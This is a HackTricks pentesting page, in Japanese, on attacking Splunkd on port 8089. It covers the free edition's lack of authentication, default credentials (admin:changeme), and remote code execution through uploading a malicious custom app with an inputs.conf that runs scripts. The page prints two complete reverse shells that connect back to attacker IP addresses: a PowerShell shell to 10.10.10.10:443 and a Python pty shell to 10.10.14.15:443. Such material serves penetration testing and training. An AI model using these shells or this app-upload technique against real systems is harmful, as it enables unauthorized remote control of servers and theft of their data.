8089 - Pentesting Splunkd
Reading time: 6 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
- データ収集、分析、可視化のためのログ分析ツール
- セキュリティ監視やビジネス分析で一般的に使用される
- デフォルトポート:
- ウェブサーバー: 8000
- Splunkdサービス: 8089
脆弱性ベクター:
- 無料版の悪用
- トライアル版は60日後に自動的に無料版に変わる
- 無料版は認証が欠如している
- 管理されない場合、潜在的なセキュリティリスクがある
- 管理者はセキュリティの影響を見落とす可能性がある
- 認証情報の脆弱性
- 古いバージョン: デフォルトの認証情報
admin:changeme
- 新しいバージョン: インストール時に設定された認証情報
- 弱いパスワードの使用の可能性 (例:
admin
,Welcome
,Password123
)
- リモートコード実行の機会
- 複数のコード実行方法:
- サーバーサイドDjangoアプリケーション
- RESTエンドポイント
- スクリプト入力
- アラートスクリプト
- クロスプラットフォームサポート (Windows/Linux)
- スクリプト入力は以下を実行できる:
- Bashスクリプト
- PowerShellスクリプト
- バッチスクリプト
主要な悪用の可能性:
- 機密データの保存
- 無料版の認証の欠如
- リモートコード実行のための複数のベクター
- システム侵害のためのスクリプト入力の活用の可能性
Shodan
Splunk build
RCE
カスタムアプリケーションの作成
Splunkは、カスタムアプリケーションの展開を通じてリモートコード実行のための高度な方法を提供し、そのクロスプラットフォームスクリプティング機能を活用しています。核心的な悪用技術は、WindowsおよびLinuxシステムでリバースシェルを実行できる悪意のあるアプリケーションを作成することにあります。
カスタムアプリケーションはPython、Batch、Bash、またはPowerShellスクリプトを実行できます。さらに、SplunkにはPythonがインストールされているため、WindowsシステムでもPythonコードを実行できます。
この例を使用することができ、**bin
**にはPythonとPowerShellの例が含まれています。または、自分自身で作成することもできます。
悪用プロセスは、プラットフォーム全体で一貫した方法論に従います:
splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
重要な設定ファイル inputs.conf
は、スクリプトを有効にするために以下を行います:
disabled = 0
を設定- 10秒の実行間隔を設定
- スクリプトのソースタイプを定義
デプロイメントは簡単です:
- 悪意のあるアプリケーションパッケージを作成
- 攻撃マシンでリスナー(Netcat/socat)を設定
- Splunkのインターフェースを通じてアプリケーションをアップロード
- アップロード時に自動スクリプト実行をトリガー
サンプルWindows PowerShellリバースシェル:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
サンプルLinux Pythonリバースシェル:
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
以下のページでは、このサービスがどのように悪用されて特権を昇格させ、持続性を得ることができるかの説明を見つけることができます:
References
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。